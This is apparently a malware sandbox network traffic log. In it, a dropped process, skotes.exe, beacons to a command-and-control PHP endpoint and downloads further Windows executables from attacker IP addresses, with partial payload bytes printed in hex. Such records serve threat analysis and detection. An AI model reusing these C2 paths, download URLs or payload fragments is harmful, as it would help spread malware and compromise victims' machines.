Nov 18, 2024 21:04:21.838289976 CET	1236	IN	Data Raw: c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 Data Ascii: {lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]
Nov 18, 2024 21:04:21.838303089 CET	1236	IN	Data Raw: 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff Data Ascii: }}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFML
Nov 18, 2024 21:04:21.838315010 CET	1236	IN	Data Raw: 00 8b d6 8b ce e8 8a ff ff ff ff 75 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 Data Ascii: uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME
Nov 18, 2024 21:04:21.842365026 CET	1236	IN	Data Raw: 78 76 00 00 8b 55 08 8d 83 84 01 00 00 c1 e2 04 03 c2 89 7d fc 3b f0 74 08 50 8b ce e8 c1 75 00 00 8b 45 08 8d 8b 8c 00 00 00 89 07 8d 45 fc 50 e8 07 00 00 00 5f 5e 5b c9 c2 04 00 55 8b ec 56 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 Data Ascii: xvU};tPuEEP_^[UVjUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49881	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:25.327734947 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007231001&unit=246122658369
Nov 18, 2024 21:04:26.178617001 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49886	185.215.113.16	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:26.292402029 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 21:04:27.167432070 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:27 GMT Content-Type: application/octet-stream Content-Length: 2800640 Last-Modified: Mon, 18 Nov 2024 19:16:14 GMT Connection: keep-alive ETag: "673b927e-2abc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@vzknjvsv`\:@vkrybwpr +@.taggant@ +"@
Nov 18, 2024 21:04:27.167445898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167459011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167471886 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167582989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167603016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167615891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:27.167627096 CET	1236	IN	Data Raw: de 03 8d bc d6 9e 8b 83 3d cf 8d fb 4c 85 f1 4d e1 5a f7 5d 1c b8 e9 1d 12 15 c8 7a 83 58 58 70 35 87 42 e1 87 76 17 9d e5 4e d1 53 b8 bc 7b 7d 6c 14 ac 4d 30 09 89 19 3b b6 8e 17 6b 0c 45 6f 78 01 9c bd d6 0a a0 b5 22 e5 ac 13 51 df 8e ec ff 26 Data Ascii: =LMZ]zXXp5BvNS{}lM0;kEox"Q&`&6}H7nvUJjylL%\-7Tf+2Je,5qC1owy@Rr[kXXj<>]qwIw= yQZ0nRB
Nov 18, 2024 21:04:27.167639017 CET	1236	IN	Data Raw: f2 02 a6 b3 9a 02 b2 5f e1 2f 2e 53 53 e7 a7 ca fb ef 9b 57 ce b8 c9 5a 0c 8a d2 c3 7a c7 a1 bc fc ef e1 5d de a7 dd be e9 f8 1f 3b 7a 02 e6 bd fc a3 a5 8b ce cb f5 51 28 5e fc 97 02 e7 09 72 cc e6 41 f7 52 83 99 45 7a 87 ba bc bc d6 21 eb c3 3f Data Ascii: _/.SSWZz];zQ(^rAREz!?*1r\|:4k2ls;G;}GD+L3]]ijSyrzzJdmz}v[Gtra"i-hdLtL,2rB"1\9 &rROy^\|O\G\|
Nov 18, 2024 21:04:27.167653084 CET	1236	IN	Data Raw: 38 e1 9c c2 d0 bf a5 6e 2d aa 55 bd 45 2b 97 d0 46 f8 a3 8b 0a 12 d2 22 56 9d d6 9a 27 1f 01 22 20 ea d7 8c 48 7e c4 80 eb 9c 80 6e 5c d9 e0 32 2c 07 02 ae 5a a8 14 9f 6c f7 07 9f 1b 98 f5 f6 c3 12 fa 4a 6e 9c f1 c4 49 51 42 bc c2 72 bd ef 7c 2d Data Ascii: 8n-UE+F"V'" H~n\2,ZlJnIQBr\|-<Qm2TzX^~.8vJj"t"'xv4t;<>P$Tt"3O\|9'ixNAjZ~Za-%=lWB@JOD(jn;
Nov 18, 2024 21:04:27.173290014 CET	1120	IN	Data Raw: 42 ca 6c 27 64 db 86 77 68 5f 91 80 9f fb c3 5c 58 12 98 fc 57 db e5 6b 4b f1 79 a3 59 0a 6b 4c 58 0b f0 c9 fb d6 33 2e cd 1e 7b 92 37 48 a9 ca 00 45 fe c0 39 a9 ad 7b fc f9 93 b0 22 96 f9 c9 52 a4 eb be 28 98 e4 0a 7c e2 8a 2c 8c ac f6 fe 1b 1f Data Ascii: Bl'dwh_\XWkKyYkLX3.{7HE9{"R(\|,2RmNT@j[=c=+M`Q6DxfaFR<y4<JLVTJvMJuGy%UtrmJ nk}4GC&,`\W8e8_&x[jw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49935	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:32.140336990 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007232001&unit=246122658369
Nov 18, 2024 21:04:33.047935009 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49942	31.41.244.11	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:33.080262899 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 21:04:33.964555979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:33 GMT Content-Type: application/octet-stream Content-Length: 4380160 Last-Modified: Mon, 18 Nov 2024 19:54:46 GMT Connection: keep-alive ETag: "673b9b86-42d600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 70 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 b8 00 00 04 00 00 23 a3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 5f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 5f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2pH@#C@ _pes__ Pel'@.rsrc `e\|'@.idata pe\|'@ 7e~'@mcbbabgn000'@nvcadkig`B@.taggant0p"B@
Nov 18, 2024 21:04:33.964612961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:33.964632034 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:33.964646101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:33.964657068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: p:T
Nov 18, 2024 21:04:33.964669943 CET	1236	IN	Data Raw: 28 d5 93 90 0c 10 cb d9 e1 a1 48 54 61 46 f6 92 1f 4e 78 93 30 0d b1 d3 ca 37 5a d8 c0 04 f9 fe 57 73 b0 b0 79 10 be 8b e9 af a6 ad 5d 3e bc 33 9d 53 18 4c 50 f6 d4 47 6e 5a d8 62 d1 56 b1 dc 29 c1 f6 01 ad a0 63 e6 c6 ab 6d e2 38 df a4 8e e3 7b Data Ascii: (HTaFNx07ZWsy]>3SLPGnZbV)cm8{US2X@7i9:C]IW{=xJ\t?Rc<**X8^g7kTe<iOiw6EP.@qgDb<)Q#?)'?z5X2(]qEnKbw:s?1QFU
Nov 18, 2024 21:04:33.964687109 CET	636	IN	Data Raw: ed c2 b8 13 56 ca d7 3a 44 8b c1 47 f6 65 d1 3f 26 34 e8 f9 e6 0c 08 8c 3c 71 68 80 44 4f d5 47 c4 70 55 9a 3f 63 05 4b b5 ce af 4d d8 b4 d4 42 6f 71 70 a0 cd ef b3 ae 1c 6d 44 f5 ee 05 e8 5f 10 11 c7 bb 44 14 d9 88 b1 6a ed 9e 34 f8 07 4a 30 2f Data Ascii: V:DGe?&4<qhDOGpU?cKMBoqpmD_Dj4J0/aH)4`sR~do'(vhGx0 9ky\|C{(aGJ(OaS@{6Y\4uvhb&l.p,2iD)-i,p+19\\
Nov 18, 2024 21:04:33.964807034 CET	1236	IN	Data Raw: 27 72 3d 85 b8 91 7d d7 89 3f a6 2f 15 f5 de 83 90 2a 5b bc 11 5e 8c c5 da 06 83 5f 75 14 57 fd d0 e4 44 8d 2c 0f e1 e5 e1 72 62 43 0f 21 84 87 b4 52 3c ee 36 7b b9 3c 2c a5 56 44 74 17 b9 20 50 2c 5e 5a 45 75 09 c4 a4 01 d9 2d 9a 02 be 3e c7 7f Data Ascii: 'r=}?/*[^_uWD,rbC!R<6{<,VDt P,^ZEu->8?gG_-j(&SZm$?,n4mV(R;n<nc{==5sUwTw]FLseU,Km\tQd]/Mn$rY\|SBK#_XX
Nov 18, 2024 21:04:33.964817047 CET	212	IN	Data Raw: 38 31 ec 95 e6 71 64 af 27 1d 6b 70 91 75 58 9e 99 08 3f 76 a5 0c b3 44 27 ec d0 65 76 d3 5f 62 25 08 5d ab 46 71 bb bf 2d 83 38 50 44 44 4a a8 d9 88 48 9a dc 14 d9 4b ed 33 94 94 e5 0a 61 c0 0a b4 95 25 bc 13 a0 2d bc 88 64 8f 49 16 c8 70 aa 52 Data Ascii: 81qd'kpuX?vD'ev_b%]Fq-8PDDJHK3a%-dIpR+'-M#Br+^j/ZJ6m\3TUw3}efnBf@h_9QH@,b/Y>Lp"Gf#kP;y
Nov 18, 2024 21:04:33.964828968 CET	1236	IN	Data Raw: 79 40 be c1 dd 18 d7 72 37 fe 24 24 9a 16 8d 12 9f 48 57 3b 32 0c 12 01 3f c6 6f ef 81 4a 92 b5 9b ef bf b0 33 bb c5 58 2d ee 67 f5 15 31 11 7e de 37 54 2a 75 11 4b 44 d6 b0 48 e4 29 11 d4 f5 86 96 7c 61 31 f4 20 e1 d0 44 fd 67 37 53 16 67 76 90 Data Ascii: y@r7$$HW;2?oJ3X-g1~7TuKDH)\|a1 Dg7Sgv^a6.se/{~{V<q1,wu@`wYyt@l(H\|ulYl[uM1_F5n$IiR@@HFl*~efDkx\yztx
Nov 18, 2024 21:04:33.970036030 CET	1236	IN	Data Raw: 98 4e 64 bd 5d f6 81 c2 0f 44 69 0e 21 f7 56 70 f4 8f 61 47 28 85 ed 8c 4c f8 67 4e ac fb 73 ab a7 c6 ad 70 3c fe 62 ec 30 bd 0c 07 b6 c9 a4 bd 2c cf e5 63 54 09 6c 29 83 fa a6 5f c9 aa 4d ad 09 3f 84 b5 0c fc e3 69 5c 3c a0 0b 3c ae 1a bd 45 90 Data Ascii: Nd]Di!VpaG(LgNsp<b0,cTl)_M?i\<<EE^rj&G\|v6T*Z@Ez\|Y\svKdk@uGtJdY8kI<Nm?HKi.a^7=?kHC3/%6ufDX\HGS_8[SeE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49958	185.215.113.16	80	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:35.467066050 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 21:04:36.366969109 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:04:36 GMT Content-Type: application/octet-stream Content-Length: 2800640 Last-Modified: Mon, 18 Nov 2024 19:16:16 GMT Connection: keep-alive ETag: "673b9280-2abc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 f3 b7 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `++`Ui` @ @.rsrc`2@.idata 8@vzknjvsv`\:@vkrybwpr +@.taggant@ +"@
Nov 18, 2024 21:04:36.366981983 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367166042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367177010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367188931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367199898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367213964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367219925 CET	760	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 21:04:36.367225885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 82\|}hlvvBE<~FZUX\|#7KWCxwxD
Nov 18, 2024 21:04:36.367237091 CET	1236	IN	Data Raw: 57 b9 83 3c d8 fa c1 0d 4d 0d a0 a1 57 b7 f3 53 56 5b 86 99 0d b9 8d 48 93 44 cc 43 55 ce 14 12 fe 2e 97 84 55 da 91 9b 99 0c 12 89 d4 a4 5d 7f 8b fa f7 00 68 fa 11 4a 56 67 86 83 b0 85 a9 1f 58 ff d5 5a 92 ab 90 6a 90 13 fd 5d 4c ad a6 4b 72 fc Data Ascii: W<MWSV[HDCU.U]hJVgXZj]LKrX)gol3dw]2OD<EB@1hy!zwm^HYA\8;48yMBfLe;^ym",MrS,VZYQ,G
Nov 18, 2024 21:04:36.378606081 CET	1236	IN	Data Raw: 22 9a 62 80 56 b8 ea a9 1c 95 09 a7 21 b6 e6 40 a9 a7 52 57 72 c9 6b a0 26 9e 44 61 27 cd 8e 59 19 7d e1 9f 37 b3 d9 8a 21 a3 f2 03 3e bb 5b 51 7d 99 93 9c 1d d2 84 a3 2c fe b5 c1 2b 04 0b fa 0f 6b f6 92 2f 1d d6 13 1b a2 f6 d4 c3 6d 8e e9 cf 32 Data Ascii: "bV!@RWrk&Da'Y}7!>[Q},+k/m2vA^dB{\|H0X=jc\|K:ZT7<ZVITD$*x\|,)1_b>r8TVcj_oUWcZ `

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49965	34.107.221.82	80	3524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:36.584233999 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 21:04:37.188616037 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 49342 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 21:04:47.195050001 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49976	34.107.221.82	80	3524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:04:37.536396027 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 21:04:38.163963079 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 48340 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 21:04:48.163786888 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
